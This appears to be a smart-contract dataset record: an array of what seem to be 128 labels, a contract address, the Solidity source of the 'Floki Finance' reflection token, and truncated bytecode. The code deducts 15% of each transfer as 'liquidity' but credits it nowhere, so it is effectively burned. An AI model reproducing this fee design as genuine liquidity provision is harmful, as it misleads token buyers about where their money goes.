[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,821
0x95c2128ee4eadb92cce3d59b485262729584d807
pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FlokiFi is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tBurnTotal; string private _name = 'Floki Finance'; string private _symbol = 'FLFI'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tBurnTotal = _tBurnTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already included"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private { _rTotal = _rTotal.sub(rFee); _tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) { uint256[12] memory _localVal; (_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/,_localVal[10]/**tLiquidity*/) = _getTValues(tAmount); _localVal[3] /**currentRate*/ = _getRate(); ( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/,_localVal[11]/**rLiquidity*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8],_localVal[10]); return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256,uint256) { uint256[5] memory _localVal; _localVal[0]/**supply*/ = tAmount.div(100).mul(0); _localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(0); _localVal[2]/**tholder*/ = tAmount.div(100).mul(1 ); _localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(15); _localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]).sub(_localVal[3]); return (_localVal[4], _localVal[2], _localVal[1],_localVal[0], _localVal[3]); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax,uint tLiquidity) private pure returns (uint256, uint256, uint256,uint256,uint256,uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurnValue = tBurnValue.mul(currentRate); uint256 rLiqidity = tLiquidity.mul(currentRate); uint256 rTax = tTax.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax).sub(rLiqidity); return (rAmount, rTransferAmount, rFee, rBurnValue,rTax,rLiqidity); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b80632d838119116100ff5780632d838119146102f3578063313ce5671461033557806339509351146103565780633c9f861d146103ba5780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806318160ddd1461025157806323b872dd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610938565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109da565b60405180821515815260200191505060405180910390f35b6102596109f8565b6040518082815260200191505060405180910390f35b6102db6004803603606081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0e565b60405180821515815260200191505060405180910390f35b61031f6004803603602081101561030957600080fd5b8101908080359060200190929190505050610ae7565b6040518082815260200191505060405180910390f35b61033d610b6b565b604051808260ff16815260200191505060405180910390f35b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b82565b60405180821515815260200191505060405180910390f35b6103c2610c35565b6040518082815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c3f565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d06565b6040518082815260200191505060405180910390f35b610486610df1565b005b610490610f77565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610fa0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611042565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061110f565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112d565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611183565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611524565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061172f565b005b60006107af611ab9565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806137fb602c913960400191505060405180910390fd5b600061085f83611ac1565b5050505050505090506108ba81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091281600654611cfd90919063ffffffff16565b60068190555061092d83600754611d4790919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109d05780601f106109a5576101008083540402835291602001916109d0565b820191906000526020600020905b8154815290600101906020018083116109b357829003601f168201915b5050505050905090565b60006109ee6109e7611ab9565b8484611dcf565b6001905092915050565b60006d314dc6448d9338c15b0a00000000905090565b6000610a1b848484611fc6565b610adc84610a27611ab9565b610ad78560405180606001604052806028815260200161376160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a8d611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f9092919063ffffffff16565b611dcf565b600190509392505050565b6000600654821115610b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806136ce602a913960400191505060405180910390fd5b6000610b4e6124df565b9050610b63818461250a90919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2b610b8f611ab9565b84610c268560036000610ba0611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b611dcf565b6001905092915050565b6000600754905090565b60006d314dc6448d9338c15b0a00000000831115610cc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610ce7576000610cd584611ac1565b50505050505050905080915050610d00565b6000610cf284611ac1565b505050505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610da157600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dec565b610de9600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae7565b90505b919050565b610df9611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110385780601f1061100d57610100808354040283529160200191611038565b820191906000526020600020905b81548152906001019060200180831161101b57829003601f168201915b5050505050905090565b600061110561104f611ab9565b84611100856040518060600160405280602581526020016138276025913960036000611079611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241f9092919063ffffffff16565b611dcf565b6001905092915050565b600061112361111c611ab9565b8484611fc6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611212611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561146657611422600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae7565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61152c611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611672576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806136f86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611737611ab9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602